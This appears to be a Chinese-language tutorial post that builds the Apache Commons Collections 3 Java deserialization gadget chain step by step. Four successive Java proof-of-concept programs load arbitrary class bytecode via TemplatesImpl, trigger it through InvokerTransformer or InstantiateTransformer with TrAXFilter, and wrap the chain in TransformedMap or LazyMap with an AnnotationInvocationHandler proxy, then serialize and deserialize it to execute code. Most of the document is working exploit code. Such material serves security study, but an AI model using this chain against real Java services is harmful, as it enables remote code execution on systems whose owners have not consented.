先介绍一下URLClassLoader
 
URLClassLoader可以从传入的URL上加载任意类
 且支持http协议
 
 实际上类加载最关键的地方在Classloader#definClass()
 所以我们要去找有谁调用了该方法
 
 在TemplatesImpl的内部类TransletClassLoader#defineClass()处调用
 往前 
 TemplatesImpl#defineTransletClasses()
 往前
 
TemplatesImpl#getTransletInstance()
 往前
 
 TemplatesImpl#newTransformer()
 这个函数是public修饰的可以被外部修饰
 我们先写一个demo测一下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("绝对路径"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

注意Test类要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet避免TemplatesImpl#defineTransletClasses抛空指针异常
 
 
 TemplatesImpl实现了Serializable接口
 后面和cc1差不多
 改改就能用了
 先测一下确保没写错
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
//        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
//        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates)
                ,new InvokerTransformer("newTransformer",null,null)
                };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<String, Object> hashMap = new HashMap<>();
        hashMap.put("value","value");
        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,decoratedMap);
//        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

 在ysoserial上是用的InstantiateTransformer
 那我们再来看看这个怎么实现
 
 TrAXFilter的构造方法中调了newTransformer
 我们可以通过InstantiateTransformer#transform()来调构造方法
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
//        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://target\\classes\\Test.class")});
//        Class<?> c = urlClassLoader.loadClass("Test");
//        c.newInstance();
        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
//        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
//        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(templates)
//                ,new InvokerTransformer("newTransformer",null,null)
//                };
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
//        HashMap<String, Object> hashMap = new HashMap<>();
//        hashMap.put("value","value");
//        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
//
//        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
//                .getDeclaredConstructor(Class.class, Map.class);
//        constructor.setAccessible(true);
//        Object obj = constructor.newInstance(Target.class,decoratedMap);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class)
                ,new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
                HashMap<String, Object> hashMap = new HashMap<>();
        hashMap.put("value","value");
        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,decoratedMap);
        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}
最后再改成lazyMap的就行了
 
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
//        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://target\\classes\\Test.class")});
//        Class<?> c = urlClassLoader.loadClass("Test");
//        c.newInstance();
        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
//        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
//        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(templates)
//                ,new InvokerTransformer("newTransformer",null,null)
//                };
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
//        HashMap<String, Object> hashMap = new HashMap<>();
//        hashMap.put("value","value");
//        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
//
//        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
//                .getDeclaredConstructor(Class.class, Map.class);
//        constructor.setAccessible(true);
//        Object obj = constructor.newInstance(Target.class,decoratedMap);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class)
                ,new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Constructor annotationInvocationHandlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        HashMap<String, Object> hashMap = new HashMap<>();
        LazyMap lzMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        InvocationHandler lzInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lzMap);
        Map proxyLazyMap = (Map) Proxy.newProxyInstance(lzMap.getClass().getClassLoader(), lzMap.getClass().getInterfaces(), lzInvocationHandler);
        Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, proxyLazyMap);
        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}



















